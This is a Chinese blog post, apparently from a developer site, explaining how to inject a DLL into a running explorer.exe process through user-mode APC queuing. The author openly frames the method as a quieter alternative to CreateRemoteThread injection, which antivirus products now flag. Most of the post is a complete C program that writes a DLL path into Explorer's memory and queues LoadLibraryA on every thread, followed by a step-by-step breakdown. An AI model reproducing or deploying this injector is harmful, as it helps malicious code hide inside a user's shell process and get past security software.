Use APC to inject explorer

 上周五去蹭我们组的Windows Internal Study Group的lesson,这是Trend的一大特色,提倡share。虽然本次课听懂的不多(可以说几乎都没有听懂),倒是开阔了眼界。尤其这周一晚上听AU的Head First Struy Group,课后体会是“写程序还有这么多讲究,这么生动,设计的很巧妙”,是提升程序员自身修养的一门课。Windows Internal 的课堂作业(我抄rick的),课后实验,我在网上找资料没找到,还是rick share了他的成果,拿来发帖了!

http://hi.baidu.com/combojiang/blog/item/ac3a22194dfd637cdbb4bd3c.html

关于APC概念方面的介绍,前面已经有专文详细的说明了,在这里不再重复了。本篇我们主要谈谈利
用APC实现向一个运行中的进程注入自己的代码的用法。

向一个运行中的进程注入自己的代码,常见的办法有全局钩子,以及CreateRemoteThread实现的远
程线程注入,如今远线程注入已经是泛滥成灾,杀毒软件对于远程线程已经做了检查和警示。

用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。本篇给出的示例
为在Explorer里加载自己的dll。 

这里首先提到的就是一个API:QueueUserAPC 。原型如下: 

DWORD QueueUserAPC( 
PAPCFUNC pfnAPC, // APC function 
HANDLE hThread,  // handle to thread 
ULONG_PTR dwData // APC function parameter 

从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出
的目标线程的 APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码
那一切就OK了,只可惜没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响,
结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问 题,自己动手赋值,
可是用户态程序可不好做,怎么办?

实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当 
KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用
TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例
子,目标线程调用 SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。 

如果我们插入的目标线程也是本进程的话,我们就可以调用上面的函数让APC迅速执行,但是这里如
果我们要插入的是Explorer进程,最简单的办法就是枚举Explorer中所有线程,全数插入,相信这么
多的线程中,总有一个满足执行条件,只要有一个满足条件,我们就成功了。


代码:见光盘InsertApc,代码摘自网络,略作修改。

#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料

#include <windows.h>
#include <Tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>

typedef HANDLE (CALLBACK *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId); 


typedef struct _TIDLIST 
{
    DWORD dwTid ;
    _TIDLIST *pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
    TIDLIST *pCurrentTid = pThreadIdList ;
    HANDLE hThread;
    const char szInjectModName[] = "c://sysnap.dll" ;
    DWORD dwLen = strlen(szInjectModName) ;
    HMODULE hDll = GetModuleHandle("Kernel32.dll"); 

    PVOID param = VirtualAllocEx(hProcess, /
            NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;


    if (param != NULL)
    {
       DWORD dwRet ;
       if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
       {
            while (pCurrentTid)
            {
                OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread"); 
                hThread = lpfnOpenThread(THREAD_ALL_ACCESS,FALSE,pCurrentTid->dwTid);
                if (hThread != NULL)
                {
                    //
                    // 注入DLL到指定进程
                    //
                    QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
                }

                printf("TID:%d/n", pCurrentTid->dwTid) ;
                pCurrentTid = pCurrentTid->pNext ;
            }
       }
    }
    return 0 ;
}

DWORD GetProcID(const char *szProcessName)
{
    PROCESSENTRY32 pe32 = {0} ;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
       return 0xFFFFFFFF ;
    }

    if (!Process32First(hSnapshot, &pe32))
    {
       return 0xFFFFFFFF ;
    }

    do 
    {
       if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
       {
            printf("%s的PID是:%d/n", pe32.szExeFile, pe32.th32ProcessID);
            return pe32.th32ProcessID ;
       }
    } while(Process32Next(hSnapshot, &pe32));

    return 0xFFFFFFFF ;

}

TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
    TIDLIST *pCurrent = NULL ;
    TIDLIST *pNewMember = NULL ;

    if (pdwTidListHead == NULL)
    {
       return NULL ;
    }
    pCurrent = pdwTidListHead ;

    while (pCurrent != NULL)
    {

       if (pCurrent->pNext == NULL)
       {
            //
            // 定位到链表最后一个元素
            //
            pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

            if (pNewMember != NULL)
            {
                pNewMember->dwTid = dwTid ;
                pNewMember->pNext = NULL ;
                pCurrent->pNext = pNewMember ;
                return pNewMember ;
            }
            else
            {
                return NULL ;
            }
       }
       pCurrent = pCurrent->pNext ;
    }

    return NULL ;
}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
    int i = 0 ;

    THREADENTRY32 te32 = {0} ;
    te32.dwSize= sizeof(THREADENTRY32) ;

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

    if(hSnapshot != INVALID_HANDLE_VALUE)
    {
       if(Thread32First(hSnapshot,&te32)) 
       {
            do
            {
                if(te32.th32OwnerProcessID==dwPID) 
                {
                    if (pdwTidList->dwTid == 0)
                    {
                           pdwTidList->dwTid = te32.th32ThreadID ;
                    }
                    else
                    {
                           if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
                           {
                                printf("插入失败!/n") ;
                                return 0 ;
                           }
                    }     
                } 
            }while(Thread32Next(hSnapshot,&te32));
       }
    }
    return 1 ;
}

void RemoveTid(TIDLIST *pdwTidListHead)
{
    TIDLIST *pCurrent = NULL ;
    TIDLIST *pNext = NULL ;


    if (pdwTidListHead == NULL)
    {
       return;
    }
    pCurrent = pdwTidListHead ;

    while (pCurrent != NULL)
    {
     
       pNext = pCurrent->pNext;
       free(pCurrent);
       pCurrent = pNext;
    }

}
int main(int argc, char* argv[])
{
    TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

    if (pTidHead == NULL)
    {
       return 1 ;
    }
    RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;

    DWORD dwPID = 0 ;

    if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
    {
       printf("进程ID获取失败!/n") ;
       return 1 ;
    }

    //
    // 枚举线程ID
    //
    EnumThreadID(dwPID, pTidHead) ;

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

    if (hProcess == NULL)
    {
       return 1 ;
    }
    EnumThread(hProcess, pTidHead) ;

    CloseHandle(hProcess);

    RemoveTid(pTidHead);

    return 0;
}

分析:

代码比较简单,步骤如下:
1)根据进程名,获取进程ID,通过遍历所有的进程,比较当前遍历到的进程名是否等于我们参数传
递进的进程名,如果是,则返回此进程的ID,否则继续遍历。

2)根据获取的进程ID,打开目标进程。

3)遍历进程内所有的线程模块,将遍历出的线程ID,保存到一个单项链表中。

4)调用QueueUserAPC向链表中的每个线程插入APC。

5)关闭进程句柄。

6)删除链表。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值